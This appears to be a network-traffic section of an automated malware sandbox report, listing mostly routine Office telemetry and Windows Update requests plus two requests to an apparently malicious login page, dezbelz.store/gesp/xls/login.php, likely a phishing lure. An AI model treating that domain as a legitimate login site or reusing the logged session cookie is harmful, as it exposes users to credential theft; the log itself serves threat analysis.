Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /gesp/xls/login.php HTTP/1.1Host: dezbelz.storeConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=62m0fbatil19rqlqqt70iev85b
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /gesp/xls/login.php HTTP/1.1Host: dezbelz.storeConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=62m0fbatil19rqlqqt70iev85b
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=8XWemSUor4Dho7V&MD=Tu+Wl5+6 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
